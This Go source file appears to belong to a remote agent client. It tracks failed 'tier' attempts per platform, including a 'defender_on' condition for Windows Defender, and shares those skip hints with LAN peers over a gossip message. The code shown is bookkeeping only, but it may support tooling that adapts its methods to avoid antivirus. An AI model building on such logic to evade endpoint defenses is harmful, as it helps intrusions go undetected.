package client import ( "encoding/json" "strings" ) func (c *AgentClient) setAtlasLanGossipEnabled(enabled bool) { c.mu.Lock() c.atlasLanGossipEnabled = enabled c.mu.Unlock() } func (c *AgentClient) atlasLanGossipEnabledSnapshot() bool { c.mu.Lock() defer c.mu.Unlock() return c.atlasLanGossipEnabled } func (c *AgentClient) mergeGossipSkipsLocked(incoming []AtlasSkip) { if len(incoming) == 0 { return } have := make(map[string]bool, len(c.atlasSkips)+len(incoming)) for _, s := range c.atlasSkips { have[s.Tier+"|"+s.Condition] = true } for _, s := range incoming { s.Tier = strings.TrimSpace(s.Tier) s.Condition = strings.TrimSpace(s.Condition) if s.Tier == "" || s.Condition == "" { continue } key := s.Tier + "|" + s.Condition if have[key] { continue } have[key] = true if strings.TrimSpace(s.Reason) == "" { s.Reason = "lan gossip" } c.atlasSkips = append(c.atlasSkips, s) } } func (c *AgentClient) applyGossipHints(hints []AtlasSkip) { c.mu.Lock() c.mergeGossipSkipsLocked(hints) c.mergeAtlasSkipsIntoPolicyLocked() c.mu.Unlock() } func (c *AgentClient) handleAtlasGossip(payload json.RawMessage) { var body struct { Hints []AtlasSkip `json:"hints"` } if err := json.Unmarshal(payload, &body); err != nil || len(body.Hints) == 0 { return } c.applyGossipHints(body.Hints) } func (c *AgentClient) writeAtlasGossip(hints []AtlasSkip) { if !c.atlasLanGossipEnabledSnapshot() || len(hints) == 0 { return } payload, err := json.Marshal(map[string]interface{}{"hints": hints}) if err != nil { return } _ = c.write(Message{Type: "atlas_gossip", Payload: payload}) } func (c *AgentClient) primaryGossipCondition(defenderEnabled *bool) string { c.mu.Lock() platform := c.cfg.RegistrationPlatform() c.mu.Unlock() p := strings.ToLower(strings.TrimSpace(platform)) switch { case strings.Contains(p, "win"): if defenderEnabled != nil && *defenderEnabled { return "defender_on" } return "goos=windows" case strings.Contains(p, "linux"): return "goos=linux" case strings.Contains(p, "darwin"), strings.Contains(p, "mac"): return "goos=darwin" default: if p != "" { return "goos=" + p } return "unknown" } } func (c *AgentClient) maybeGossipFromAttempts(attempts []TierAttemptPayload, defenderEnabled *bool) { if !c.atlasLanGossipEnabledSnapshot() || len(attempts) == 0 { return } cond := c.primaryGossipCondition(defenderEnabled) var hints []AtlasSkip c.mu.Lock() if c.gossipSent == nil { c.gossipSent = make(map[string]struct{}) } for _, a := range attempts { if a.OK || strings.TrimSpace(a.Tier) == "" { continue } key := a.Tier + "|" + cond if _, seen := c.gossipSent[key]; seen { continue } c.gossipSent[key] = struct{}{} reason := "lan gossip" if strings.TrimSpace(a.Error) != "" { reason = "lan gossip: " + a.Error } hints = append(hints, AtlasSkip{Tier: a.Tier, Condition: cond, Reason: reason}) } c.mu.Unlock() c.writeAtlasGossip(hints) }